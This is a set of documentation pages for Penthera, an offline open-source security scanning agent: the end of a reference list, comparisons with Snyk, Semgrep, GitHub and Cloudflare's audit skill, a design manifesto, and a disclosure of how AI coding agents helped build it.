<a id="spracklen2025package"></a>Spracklen, J., Wijewickrama, R., Sakib, A. H. M. N., Maiti, A., Viswanath, B., & Jadliwala, M. (2025). We have a package for you! A comprehensive analysis of package hallucinations by code generating LLMs. In *34th USENIX Security Symposium (USENIX Security 25)* (pp. 3687–3706). USENIX Association. <https://www.usenix.org/conference/usenixsecurity25/presentation/spracklen>

<a id="zhong2025impossiblebench"></a>† Zhong, Z., Raghunathan, A., & Carlini, N. (2025). *ImpossibleBench: Measuring LLMs' propensity of exploiting test cases* [Preprint]. arXiv. <https://doi.org/10.48550/arXiv.2510.20270>

## Standards and regulation

<a id="eu2022nis2"></a>European Parliament and Council of the European Union. (2022). *Directive (EU) 2022/2555 of the European Parliament and of the Council of 14 December 2022 on measures for a high common level of cybersecurity across the Union, amending Regulation (EU) No 910/2014 and Directive (EU) 2018/1972, and repealing Directive (EU) 2016/1148 (NIS 2 Directive)*. Official Journal of the European Union, L 333, 27.12.2022, p. 80. Retrieved October 19, 2026, from <https://eur-lex.europa.eu/eli/dir/2022/2555/oj>

<a id="oasis2023sarif"></a>Fanning, M. C., & Golding, L. J. (2023, August 28). *Static Analysis Results Interchange Format (SARIF) version 2.1.0 plus errata 01* [OASIS Standard incorporating Approved Errata]. OASIS. Retrieved October 19, 2026, from <https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/sarif-v2.1.0-errata01-os-complete.html>

<a id="first2023cvss4"></a>FIRST. (2023, November 1). *Common vulnerability scoring system version 4.0: Specification document* (Version 1.2). Retrieved October 21, 2026, from <https://www.first.org/cvss/v4.0/specification-document>

<a id="mitrecwe"></a>The MITRE Corporation. (n.d.-a). *CWE: Common Weakness Enumeration*. Retrieved October 19, 2026, from <https://cwe.mitre.org/>

<a id="ncsc2015webapps"></a>† Nationaal Cyber Security Centrum. (2015). *ICT-beveiligingsrichtlijnen voor webapplicaties: Richtlijnen* [ICT security guidelines for web applications: Guidelines]. Retrieved October 21, 2026, from <https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2019/mei/01/ict-beveiligingsrichtlijnen-voor-webapplicaties/ICT-Beveiligingsrichtlijnen-voor-Webapplicaties-Richtlijnen-Leesversie.pdf>

<a id="ncsc2024webapps"></a>Nationaal Cyber Security Centrum. (2024). *ICT-beveiligingsrichtlijnen voor webapplicaties* [ICT security guidelines for web applications]. Retrieved October 21, 2026, from <https://www.ncsc.nl/api/media/sites/default/files/Richtlijn%20ICT%20beveiligingsrichtlijnen%20webapplicaties%2007-24_0.pdf>

<a id="oasis2022csaf"></a>Rock, L., Hagen, S., & Schmidt, T. (2022, November 18). *Common security advisory framework version 2.0* [OASIS Standard]. OASIS. Retrieved October 21, 2026, from <https://docs.oasis-open.org/csaf/csaf/v2.0/os/csaf-v2.0-os.html>

<a id="scarfone2008sp800115"></a>Scarfone, K. A., Souppaya, M. P., Cody, A., & Orebaugh, A. D. (2008). *Technical guide to information security testing and assessment* (NIST Special Publication 800-115). National Institute of Standards and Technology. <https://doi.org/10.6028/NIST.SP.800-115>

<a id="spdxlicenselist"></a>SPDX Workgroup, The Linux Foundation. (n.d.). *SPDX License List*. Retrieved October 19, 2026, from <https://spdx.org/licenses/>

<a id="tabassi2023airmf"></a>† Tabassi, E. (2023). *Artificial intelligence risk management framework (AI RMF 1.0)* (NIST AI 100-1). National Institute of Standards and Technology. <https://doi.org/10.6028/NIST.AI.100-1>

## Vulnerability advisories and version data

<a id="httpdvulns24"></a>The Apache Software Foundation. (n.d.). *Apache HTTP Server 2.4 vulnerabilities*. Retrieved October 21, 2026, from <https://httpd.apache.org/security/vulnerabilities_24.html>

<a id="censys2024cve4577"></a>Censys. (2024, June 10). *PHP-CGI argument injection vulnerability could lead to remote code execution*. Retrieved October 21, 2026, from <https://censys.com/advisory/cve-2024-4577/>

<a id="ossfosvschema"></a>Chang, O., & Cox, R. (2026, October 13). *Open source vulnerability format* (Version 1.9.2). OpenSSF. Retrieved October 21, 2026, from <https://ossf.github.io/osv-schema/>

<a id="cisakev"></a>Cybersecurity and Infrastructure Security Agency. (n.d.). *Known exploited vulnerabilities catalog*. Retrieved October 21, 2026, from <https://www.cisa.gov/known-exploited-vulnerabilities-catalog>

<a id="debiansecurityfaq"></a>Debian Project. (n.d.). *Debian security FAQ*. Retrieved October 21, 2026, from <https://www.debian.org/security/faq>

<a id="devcore2024cve4577"></a>DEVCORE. (2024, June 6). *Security alert: CVE-2024-4577 – PHP CGI argument injection vulnerability*. Retrieved October 21, 2026, from <https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/>

<a id="endoflifedate"></a>endoflife.date contributors. (n.d.). *Endoflife.date*. Retrieved October 21, 2026, from <https://endoflife.date/>

<a id="li2017largescale"></a>Li, F., & Paxson, V. (2017). A large-scale empirical study of security patches. In *Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security (CCS '17)* (pp. 2201–2215). ACM. <https://doi.org/10.1145/3133956.3134072>

<a id="mongodblifecycles"></a>MongoDB, Inc. (n.d.). *Software lifecycle schedules*. MongoDB. Retrieved October 22, 2026, from <https://www.mongodb.com/legal/support-policy/lifecycles>

<a id="ncscadvisories"></a>Nationaal Cyber Security Centrum. (n.d.). *Security advisories*. Retrieved October 21, 2026, from <https://advisories.ncsc.nl/>

<a id="nginxadvisories"></a>nginx. (n.d.). *Nginx security advisories*. Retrieved October 21, 2026, from <https://nginx.org/en/security_advisories.html>

<a id="nos2026phpliveblog"></a>† NOS. (2026, October 21). *Websites kwetsbaar voor softwarelek: RTL nieuws, DigiD en MijnOverheid uit de lucht* [Websites vulnerable to software flaw: RTL Nieuws, DigiD and MijnOverheid offline]. Retrieved October 21, 2026, from <https://nos.nl/liveblog/2636066-websites-kwetsbaar-voor-softwarelek-digid-en-mijnoverheid-uit-de-lucht>

<a id="nodejsreleases"></a>OpenJS Foundation and Node.js contributors. (n.d.). *Node.js releases*. Retrieved October 21, 2026, from <https://nodejs.org/en/about/previous-releases>

<a id="opensslvulns"></a>OpenSSL Library. (n.d.). *Vulnerabilities*. Retrieved October 21, 2026, from <https://openssl-library.org/news/vulnerabilities/>

<a id="phpsrcadvisories"></a>The PHP Group. (n.d.-b). *Security advisories for php/php-src*. Retrieved October 21, 2026, from <https://github.com/php/php-src/security/advisories>

<a id="phpsupported"></a>The PHP Group. (n.d.-c). *Supported versions*. Retrieved October 21, 2026, from <https://www.php.net/supported-versions.php>

<a id="php2012cgi"></a>The PHP Group. (2012, May 6). *PHP 5.3.12 and 5.4.2 and the CGI flaw (CVE-2012-1823)*. Retrieved October 21, 2026, from <https://www.php.net/archive/2012.php#id2012-05-06-1>

<a id="php2026critical"></a>The PHP Group. (2026, October 20). *Upcoming critical PHP security release*. Retrieved October 21, 2026, from <https://www.php.net/archive/2026.php#2026-10-20-1>

<a id="pythondevguideversions"></a>Python Software Foundation. (n.d.). *Status of Python versions*. Python Developer's Guide. Retrieved October 21, 2026, from <https://devguide.python.org/versions/>

<a id="redhatbackporting"></a>Red Hat. (n.d.). *Security backporting practice*. Red Hat Customer Portal. Retrieved October 21, 2026, from <https://access.redhat.com/security/updates/backporting>

<a id="ubuntusecurityfaq"></a>Ubuntu Security Team. (n.d.). *Security/FAQ*. Ubuntu Wiki. Retrieved October 21, 2026, from <https://wiki.ubuntu.com/SecurityTeam/FAQ>

<a id="zhang2018precise"></a>Zhang, H., & Qian, Z. (2018). Precise and accurate patch presence test for binaries. In *27th USENIX Security Symposium (USENIX Security 18)* (pp. 887–902). USENIX Association. <https://www.usenix.org/conference/usenixsecurity18/presentation/zhang-hang>

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/README.md · https://penthera.org/docs/compare/README.md -->

# How Penthera compares

> **Pro.** For "how does Penthera compare to the tool I use, and how do I run both?"

Penthera is a free, offline, MIT-licensed security agent. Most teams that use it also
use at least one of the tools below, and these pages are written for them: what
each tool is for, where it goes further than Penthera, and how to run the two
together.

| Page | In one line |
|---|---|
| [Penthera and Socket](https://penthera.org/docs/compare/socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
| [Penthera and Snyk](https://penthera.org/docs/compare/snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behavior, the running app and agent config |
| [Penthera and GitHub (Dependabot, code scanning)](https://penthera.org/docs/compare/github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
| [Penthera and OWASP ZAP](https://penthera.org/docs/compare/zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
| [Penthera and Semgrep](https://penthera.org/docs/compare/semgrep.md) | Semgrep is the deeper static analyzer for your code; Penthera adds dependencies, the live app and AI tooling |
| [Penthera and Cloudflare's security-audit skill](https://penthera.org/docs/compare/cloudflare-security-audit.md) | The skill has a model audit your code in depth; Penthera runs fast, repeatable checks, looks outside the source and verifies fixes |

## How these pages are written

- Every claim about another product comes from that product's public docs or
  pricing page, linked inline. Anything we could not confirm is left out.
- Each page names where the other tool goes further. Most of them go further
  than Penthera somewhere.
- Prices and plans change. Each page has a last-checked date. Check the vendor's
  page before you rely on a number.
- No page claims Penthera finds more than another tool. Its own accuracy is
  measured only on labs we wrote ourselves: precision 0.88 (95% CI 0.69 to
  0.96) and recall 0.91 (95% CI 0.73 to 0.98) on 24 findings
  ([results](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md)). Accuracy on real projects is not measured
  yet. That is [experiment E1](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E1-real-world-accuracy.md).

Spotted something wrong or out of date? Please open an issue or a pull request.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/MANIFESTO.md · https://penthera.org/docs/MANIFESTO.md -->

# What Penthera is, what it is not, and why

> **Project page.** For "why was it built this way?"

This page states plainly what Penthera does today, the decisions behind it, and
the questions people ask. It is written to be argued with. If you think a
decision is wrong, [open a discussion](https://github.com/danoszz/penthera/discussions)
with the label "challenge": say which decision, what you would do instead, and
what evidence would settle it. Decisions here change when the evidence does.

Written 2026-10-19, for v1.7.0. What we plan to measure next is in the
[research plan](https://penthera.org/docs/vision-2.0.md).

## What Penthera is today

Penthera is an open R&D project with two parts. One is a security agent you
can run today, offline, on your own machine. The other is a set of public,
pre-registered experiments that measure how well its checks work (Penthera
Bench, E1 to E6 in the [research plan](https://penthera.org/docs/vision-2.0.md)).

The agent does the routine, repeatable checks a security engineer would do:

- **Before you deploy:** scans your running app (localhost or a preview URL) and
  your source for common weaknesses, fixes what it can on a local branch, and
  re-scans to prove each fix.
- **What you build with:** shows what each dependency can do (shell, network,
  install scripts), stops risky installs before they run, and audits your AI
  tooling: skills, MCP servers, hooks, and agent instruction files.
- **After you ship:** writes reports for developers, owners, and auditors, a
  signed evidence bundle, and NIS2 and CRA readiness drafts.

### The honest limits

- **It finds known classes of problems, not novel ones.** Misconfigured
  headers, leaked keys, risky dependency behavior, unsafe agent setups, common
  injection patterns. It does not find business-logic flaws, complex
  authorization bugs, or zero-days. It is not a replacement for a human
  penetration test.
- **Its accuracy is measured, but on a small sample.** The benchmark reports
  precision 0.88 and recall 0.91, but on 24 scored findings in labs we built
  ourselves. The 95% confidence intervals are wide: precision 0.69 to 0.96,
  recall 0.73 to 0.98 (Wilson). Real-world accuracy on other people's code is
  not yet measured. Closing that gap is the first goal of the
  [research plan](https://penthera.org/docs/vision-2.0.md) (experiment E1).
- **"Agent" means a loop with guard rails, not an autonomous AI.**
  `penthera agent --loop` scans, plans a fix, applies it on a local branch,
  verifies it, and records the outcome. It asks before every change by
  default, never pushes, and only talks to the target you named. It cannot
  edit the tests, CI or settings that judge its fixes, and "could not fix" is
  an accepted outcome, not a failure to work around. See
  [what the 2026 agent incidents mean for Penthera](https://github.com/danoszz/penthera/blob/main/docs/research/agent-incidents-2026.md).
- **"Learning" means bookkeeping, not machine learning.** The local memory
  counts which fix recipes worked for which framework, which findings you marked
  as false positives, and which probes found things. It re-orders and
  suppresses. It does not train a model.
- **AI is optional and never the judge.** A local model (through Ollama) can
  propose a fix when no built-in recipe exists. The fix is accepted only if the
  deterministic re-scan and your tests agree. No model decides whether
  something is malicious or safe.

## Design decisions

Each decision lists what we chose, why, what it costs, and what would change our
mind.

### 1. Local first, offline by default
- **Choice.** Everything runs on your machine. `--offline` limits traffic to
  the target you named, and every report lists the hosts that were contacted.
  No account, no telemetry.
- **Why.** A security tool reads your code, your keys, and your agent setup. The
  safest place for that is where it already is.
- **Cost.** No cross-customer intelligence, no instant threat feed, and slower
  improvement because we cannot see how it is used.
- **What would change our mind.** Evidence that users are measurably less safe
  without an online feature, and a design for it that is opt-in and leaks
  nothing about their code.

### 2. Deterministic rules decide; models may only propose
- **Choice.** Findings come from readable rules with evidence at `file:line`.
  Models can suggest fixes and, in future, rank or score, but a deterministic
  check has the final word.
- **Why.** Rules can be read, tested, and reproduced. Published research shows
  scanners built on LLM judges can be talked out of a finding, and one such
  judge labeled Penthera itself as malware because it contains test payloads.
- **Cost.** Rules miss what nobody wrote a rule for. Models generalize better.
- **What would change our mind.** A pre-registered experiment where a model-based
  verdict beats rules on precision and recall, *and* stays robust under
  adversarial inputs (see experiment E5 in the research plan).

### 3. No runtime update channel
- **Choice.** Detection rules ship inside reviewed, signed releases. Penthera
  never downloads rules or code while it runs.
- **Why.** An update channel is a way into every machine that runs the tool.
  The release path is already signed, provenance-checked, and approved with
  2FA.
- **Cost.** A new indicator of compromise reaches you when you upgrade, not
  within the hour.
- **What would change our mind.** A channel with the same guarantees (signed
  metadata, key rotation, freshness) that users can audit and switch off.

### 4. Ask before changing anything
- **Choice.** Every fix is a diff you approve, on a local branch. Penthera never
  pushes or opens pull requests.
- **Why.** Code changes have consequences a scanner cannot see. Trust is earned
  per change.
- **Cost.** Slower than fully autonomous fixing.
- **What would change our mind.** A recipe that has been verified many times in
  your own memory can already apply itself (`--auto low`). Wider autonomy needs
  the same track record.

### 5. Authorized targets only, non-destructive by default
- **Choice.** The default scan sends no attack payloads. Payload testing is
  opt-in. Anything that touches a third party is passive.
- **Why.** The same tool that hardens a system can harm someone else's.
- **Cost.** A shallower default scan.
- **What would change our mind.** Nothing. This one is not up for a trade.

### 6. Free and complete on one machine
- **Choice.** The single-machine tool is MIT-licensed and complete. Anything
  paid in future (a team server, faster signed rule packs) is additive and never
  removes a local feature.
- **Why.** The people most exposed (solo builders, small teams, students) are
  the ones least able to pay.
- **Cost.** Slower funding, a part-time maintainer.

### 7. Honest about confidence
- **Choice.** Every finding carries a confidence label (confirmed, likely,
  potential, needs human review) and its provenance. Benchmarks report
  intervals, not just point estimates.
- **Why.** A heuristic dressed as certainty causes alert fatigue and false
  comfort.

## FAQ

**Is Penthera an AI security agent?**
It is an agent in the engineering sense: a loop that acts, checks its own work,
and remembers outcomes, inside strict limits. It is not an AI that decides on
its own. AI models are optional helpers for proposing fixes.

**Does it use machine learning, reinforcement learning, or deep learning?**
Not yet. The memory is counting, not training. The [research plan](https://penthera.org/docs/vision-2.0.md)
adds light reinforcement learning (bandits) for choosing what to try first, a
classical classifier for suspicious packages, and model-proposed fixes checked
by the scanner. Each one has to beat the current rules in a pre-registered
experiment before it ships.

**Can it run fully autonomously?**
It can run unattended in read-only mode (scans, reports, evidence) in CI. It
does not change code unattended, except recipes with a proven record in your own
memory, and only when you allow it.

**Which models can it use?**
Today, any local model served by [Ollama](https://ollama.com) on `127.0.0.1`,
and only for fix proposals. Planned: other local runtimes (llama.cpp, MLX on
Apple silicon) and small open-weight models for embeddings and fixes. Hosted
models, including fast structured-decision models such as Typesafe's Jev, are
interesting for calibrated triage, but they send data off your machine. They
would only ever be opt-in, clearly labeled, and evaluated against the local
baseline first.

**Why not use an LLM to judge whether code is malicious?**
Because a judge that can be persuaded is a judge an attacker will persuade.
Models are useful to *propose*; something deterministic has to *verify*.

**How accurate is it?**
On our own benchmark: precision 0.88, recall 0.91, on a small sample with wide
intervals (see above). Measuring accuracy on real-world code is the first
experiment in the research plan (E1).

**Is it a replacement for a penetration test or a security team?**
No. It covers the routine checks so people can spend their time on the work
that needs judgment.

**Why open source?**
Security tools should be open to inspection. Outside reviewers find mistakes
faster than one maintainer does. And the people who need it most cannot always
pay.

**Will there be a hosted version?**
Maybe, for teams, later. If it exists, it will not remove anything from the
local tool. See [ROADMAP.md](https://github.com/danoszz/penthera/blob/main/ROADMAP.md).

**How do I challenge a decision?**
Open a [discussion](https://github.com/danoszz/penthera/discussions) labeled
"challenge". The best challenges come with a proposed experiment: what you
would measure and what result would prove you right.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/genai.md · https://penthera.org/docs/genai.md -->

# How Penthera is built: use of generative AI

> **Project page.** For "how much of it did AI write?"

We build Penthera with a lot of help from generative AI. This page says how, so
that users, contributors, reviewers and funders can judge the work with the full
picture. It follows the spirit and the disclosure requirements of the
[NLnet generative AI policy](https://nlnet.nl/foundation/policies/generativeAI/).

Last updated 2026-10-20.

## What was generated, and with what

- **Models.** Anthropic Claude, used through Claude Code: Claude Opus 4.8 for
  the August 2026 work, Claude Opus 5.5 for the October 2026 work.
- **Scale.** Of the 117 non-merge commits up to the v1.7.0 tag, 107 (91%)
  were written with Claude and carry a `Co-Authored-By: Claude …` trailer naming
  the model. Most of v1.2 to v1.7, released on 2026-10-19, was implemented by
  Claude Code sessions that the maintainer directed, often several in parallel.
  Since v1.7.0, all 57 non-merge commits up to 2026-10-20 name Claude as
  co-author; 12 of them lack the `AI-Assisted` summary line, 6 of those
  written before that rule existed. Commit history is not rewritten; CI now
  enforces the rule on every pull request (see below).
- **What the maintainer did.** Set the direction and requirements, made the
  design and security decisions, reviewed and approved changes, handled
  everything that needs a human account (npm 2FA approvals, signing keys,
  repository settings), and decided what to merge and release.
- **Documentation.** Most docs, including the README, the methodology and this
  page, were drafted with Claude and edited by the maintainer.
- **Outside contributions.** Contributions from other people (for example
  [#20](https://github.com/danoszz/penthera/pull/20) by Nurana Aliyeva) are their
  own; check each pull request for its own disclosure.

## How generated work is checked

We treat generated code as untrusted until it passes the same gates as any
other change:

- the full test suite, plus CodeQL and OpenSSF Scorecard on every pull request;
- the [internal audit](https://github.com/danoszz/penthera/blob/main/docs/internal-audit.md) before every release: benchmark drift,
  a self-scan, packaging, offline egress, supply chain and docs links;
- an independent review pass. For example, a read-only review on 2026-10-19
  found three high-severity bugs. We reproduced each one and fixed it with a
  regression test before release (see the 1.6.0 changelog);
- maintainer approval of every release with 2FA. Rule packs are signed with the
  maintainer's own key, which never leaves his machine.

The maintainer is accountable for the code and must be able to explain any part
of it. If you find something nobody can explain, that is a bug: please open an
issue.

## Licensing and copyright

Penthera is MIT-licensed. Under current EU interpretation, purely AI-generated
output may not be protected by copyright. Treat the generated parts of
Penthera as freely usable. This does not restrict
anyone's use of the project. We check that generated code does not reproduce
third-party code under incompatible terms. Penthera has one runtime
dependency.

## How the agents that build Penthera are contained

Penthera is built by AI coding agents, so it follows its own
[advice for running agents](https://penthera.org/docs/agents-safely.md):

- **No release rights.** Agent sessions cannot publish to npm or sign rule
  packs: publishing needs the maintainer's 2FA approval, and the signing key
  never leaves his machine. Tagging and version bumps are the maintainer's
  call, a standing rule for every session.
- **Changes go through review.** Agents work on branches and open pull
  requests. Every pull request passes the same checks as human work, and the
  maintainer decides what merges and what ships.
- **Judges are reviewed like code.** CI, CodeQL and the release checks run on
  GitHub. A change to a test or a workflow is a pull request like any other,
  and is called out in review.
- **Private findings stay private.** Security review reports of unreleased
  fixes are kept outside the repository until a fix ships.

## Rules from now on

Every AI-assisted commit names the model and version in its trailer and
summarizes how AI was used. Commits that are entirely human-written carry no AI
trailer. See [CONTRIBUTING.md](https://github.com/danoszz/penthera/blob/main/CONTRIBUTING.md#use-of-generative-ai) for the
exact format, which applies to the maintainer and to all contributors. CI
checks it on every pull request with `scripts/ci/provenance.mjs`: a commit
that names an AI co-author without an `AI-Assisted` line, or the other way
round, fails the check.

Work *on* generative AI inside Penthera (for example, the local-model fix
proposals in the [research plan](https://penthera.org/docs/vision-2.0.md)) is described openly in the
roadmap. In Penthera, models only propose; deterministic checks decide.

## Prompt and session logs

For grant-funded milestones, we log the prompts and outputs behind generated
code and publish them in a stable place, as NLnet's policy requires. The default
place is `docs/genai-logs/` in this repository, or the commit message itself for
short exchanges. For work done before any grant (up to v1.7.0), the commit
trailers and this page are the record. We did not keep public session logs for
it.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/cloudflare-security-audit.md · https://penthera.org/docs/compare/cloudflare-security-audit.md -->

# Penthera and Cloudflare's security-audit skill

> **Pro.** For "how does Penthera compare to Cloudflare's security-audit skill, and how do I run both?"

*Last checked: 2026-10-22 against the repository at commit
[`c1c8a8c`](https://github.com/cloudflare/security-audit-skill/tree/c1c8a8c)
(2026-09-14).*

## Use them together

[security-audit-skill](https://github.com/cloudflare/security-audit-skill) is
an MIT-licensed skill that turns a coding agent into a security auditor. It
comes from Cloudflare's internal vulnerability-discovery harness. The agent
maps the architecture, sends isolated sub-agents to hunt across attack classes,
has fresh agents try to disprove each candidate, and writes a schema-checked
`findings.json` and reports. The reasoning is done by the language model; two
small Node.js validators check the output files.

The two answer different questions:

- **The skill asks a model to read your code like a security researcher.** It
  can find business-logic flaws, authorization mistakes and bugs no rule
  describes, in any language, at the cost of model time and with results that
  vary between runs.
- **Penthera runs fixed, readable checks** in seconds, offline, with the same
  answer every time. It finds known classes of problems, checks what your
  running app and your dependencies actually do, and verifies its own fixes.

A reasonable setup: Penthera on every commit and pull request, because it is
fast, free and repeatable. The skill for a deep review before a release, or
when Penthera reports nothing and you still want a second opinion.

## Side by side

| | Penthera | security-audit skill |
|---|---|---|
| How it decides | Deterministic, readable rules; models may only propose fixes | A language model hunts and validates; fresh agents try to disprove each finding |
| Same answer every run | Yes | No. The authors say one run found "roughly half" of what repeated runs found ([README](https://github.com/cloudflare/security-audit-skill#readme)) |
| What it reads | Source (Next.js, Express, Hono, Fastify), dependencies (npm, Python), AI tooling config | Any source, including native code, protocols, cloud config, mobile and desktop ([attack classes](https://github.com/cloudflare/security-audit-skill/tree/c1c8a8c/skills/security-audit)) |
| Running app | URL scan of a target you own | No: it forbids probing deployed endpoints and works from source |
| Dependencies | What each package can do, install firewall, typosquats, known malicious versions, runtime advisories | Supply-chain review of your repo's build and release setup |
| AI tooling | `penthera agents`: skills, MCP servers, hooks, permissions | AI and LLM attack classes in your application code |
| Fixes | Applied on a local branch, re-scanned and kept only if verified | Recommends the smallest fix; does not apply it |
| Accuracy published | Precision and recall with 95% intervals on our own labs; real-world study pre-registered | No figures beyond the run-to-run note |
| Needs | Node.js 22; no model, no account | A coding agent with tool use and parallel sub-agents, and model usage for every run |
| Network | Only the target you name; `--offline` enforces it | Not stated in the README; depends on your agent and model provider |
| License | MIT | MIT |

## Where the skill goes further

- **Depth on your own code.** A model reading code can find flaws that no rule
  describes: broken authorization, unsafe state machines, logic errors.
- **Breadth of languages and targets**, from memory safety in native code to
  RPC and mobile.
- **A disciplined method:** an explicit coverage ledger, independent
  disproof of each candidate, and strict sandbox rules before running any
  target code. Those ideas are worth copying.

## Where Penthera adds something

- **Speed, repeatability and cost:** seconds, the same result every time, no
  model bill. That is what a CI gate needs.
- **Outside the source:** the running app, what packages do when installed, and
  the agent config on your machine.
- **Fixes that are verified** by a re-scan on a local branch, and an
  evidence bundle for auditors.
- **Measured accuracy**, with intervals and limits stated.

## Run both

```bash
npx penthera http://localhost:3000 --repo . --sarif penthera.sarif
npx penthera agents
npx skills add https://github.com/cloudflare/security-audit-skill --skill security-audit
```

Then ask your agent for a full security audit. Treat findings that both tools
report as the highest priority, and use Penthera to re-check fixes for anything
the skill found that Penthera has a rule for.

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/github.md · https://penthera.org/docs/compare/github.md -->

# Penthera and GitHub (Dependabot and code scanning)

> **Pro.** For "how does Penthera compare to Dependabot and code scanning, and how do I run both?"

*Last checked: 2026-10-19 against GitHub's docs and security plans page.*

## Use them together

If your code is on GitHub, you probably have Dependabot already. It alerts you
when a dependency has a known, reviewed vulnerability and opens a pull request
to the patched version. Code scanning with CodeQL finds bugs in your own code.
Penthera covers what those do not look at: what a package can do when it has no
advisory yet, the running app, and your AI tooling. Its SARIF output uploads
into the same code scanning tab, so findings sit in one place.

## Side by side

| | Penthera | Dependabot and code scanning |
|---|---|---|
| Dependencies | Capabilities and the upgrade diff, typosquats, licenses; npm and Python | Alerts from GitHub-reviewed advisories in the GitHub Advisory Database ([alerts](https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)); security and version update PRs |
| Pull requests | Action that comments the capability diff | Dependency review action that can block a vulnerable change ([dependency review](https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)) |
| Your code | Routes, trust boundaries, secrets (JS/TS frameworks) | CodeQL queries across many languages |
| Secrets | Repo scan and a pre-commit hook on staged files | Secret scanning and push protection ([features](https://docs.github.com/en/code-security/getting-started/github-security-features)) |
| Running app | URL scan | No |
| AI tooling | `penthera agents` | No dedicated check |
| Where it runs | Your machine or any CI, offline | GitHub; the CodeQL CLI also runs locally ([CodeQL CLI](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli)) |
| Cost | Free | Dependabot is free on all plans. Code scanning, dependency review and secret scanning are free on public repos; private repos need GitHub Code Security ($30) or Secret Protection ($19) per active committer a month ([plans](https://github.com/security/plans)) |

## Where GitHub goes further

- **Known-vulnerability coverage** across ecosystems, with update pull requests
  generated for you. Penthera never opens pull requests.
- **CodeQL** is a far deeper code analyzer than Penthera's repo scan.
- **Push protection** stops secrets on the server side, for every contributor,
  without anyone installing a hook.
- **Zero setup** for public repositories.

## Where Penthera adds something

- **Before an advisory exists.** Dependabot needs a reviewed advisory. Penthera's
  capability diff shows a new install script or network call on the day it
  appears.
- **The live app and your agent setup**, which GitHub's tools do not scan.
- **Private repos without a GitHub Advanced Security license**, and code that is
  not on GitHub.

## Run both

Keep Dependabot and code scanning on. Add Penthera's action for the capability
diff ([docs/commands/action.md](https://penthera.org/docs/commands/action.md)) and upload its SARIF:

```yaml
- run: npx penthera@1.9.0 "$PREVIEW_URL" --sarif reports/scan.sarif
- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
  with:
    sarif_file: reports/scan.sarif
```

Uploading SARIF to code scanning in a private repository also needs GitHub Code
Security.

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/semgrep.md · https://penthera.org/docs/compare/semgrep.md -->

# Penthera and Semgrep

> **Pro.** For "how does Penthera compare to Semgrep, and how do I run both?"

*Last checked: 2026-10-19 against Semgrep's docs, GitHub and pricing page.*

## Use them together

[Semgrep](https://semgrep.dev) is a static analyzer for your own code. The
Community Edition engine is open source (LGPL-2.1) and runs locally. The
commercial AppSec Platform adds cross-file analysis, supply-chain reachability,
secrets and AI triage ([CE vs platform](https://docs.semgrep.dev/semgrep-pro-vs-oss)).
Penthera's repo scan is narrower than Semgrep's. What Penthera adds is the rest
of the picture: the running app, what your dependencies can do, and your AI
tooling.

A reasonable setup: Semgrep on every pull request for code patterns, with your
own rules if you write them. Penthera for the lockfile, the preview URL and the
agent config.

## Side by side

| | Penthera | Semgrep |
|---|---|---|
| Your code | Route discovery, trust-boundary mapping and secrets for Next.js, Express, Hono, Fastify | Pattern-based analysis in many languages; CE works within a single file, the platform adds cross-file taint analysis ([CE vs platform](https://docs.semgrep.dev/semgrep-pro-vs-oss)) |
| Rules | Built in and readable; no rule language for users | A rule language plus 2,000+ community rules in the Registry ([repo](https://github.com/semgrep/semgrep)) |
| Dependencies | Capabilities, upgrade diff, typosquats, licenses (npm and Python) | Semgrep Supply Chain with reachability, on the platform |
| Running app | URL scan | No |
| AI tooling | `penthera agents` | No dedicated check |
| Network | None needed | CE with local rules sends no metrics by default; `--metrics=off` turns them off ([metrics](https://docs.semgrep.dev/metrics)) |
| Cost | Free, MIT | CE is free. Platform free for up to 10 contributors; Teams from $30 per contributor a month per product ([pricing](https://semgrep.dev/pricing)) |

## Where Semgrep goes further

- **Code analysis depth and breadth**: many languages, and dataflow across files
  on the platform.
- **Your own rules.** If your team has patterns to ban, Semgrep's rule language
  is the right tool. Penthera has no user rule language for code.
- **Reachability** for dependency vulnerabilities.

## Where Penthera adds something

- **Outside the source**: the running app, what packages do when installed, and
  the agent config on your machine.
- **Fixes that are verified** by a re-scan on a local branch.
- **EU evidence** from the same runs.

## Run both

```bash
semgrep scan --config p/default --sarif -o semgrep.sarif
npx penthera http://localhost:3000 --repo . --sarif penthera.sarif
npx penthera deps --base origin/main
```

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/snyk.md · https://penthera.org/docs/compare/snyk.md -->

# Penthera and Snyk

> **Pro.** For "how does Penthera compare to Snyk, and how do I run both?"

*Last checked: 2026-10-19 against Snyk's public docs, pricing page and GitHub.*

## Use them together

[Snyk](https://snyk.io) is a developer security platform built around a curated
vulnerability database: it tells you which of your dependencies, containers and
infrastructure files have known issues, across many languages, and opens fix
pull requests. Penthera asks different questions: what can a package do (not
only which CVEs it has), how does the running app behave, and what is in your
AI tooling config. It does this offline and without an account.

A reasonable setup: Snyk for known-vulnerability coverage across your stack.
Penthera for the behavior diff on lockfile changes, the scan of your preview
URL before a deploy, and the agent-config audit.

## Side by side

| | Penthera | Snyk |
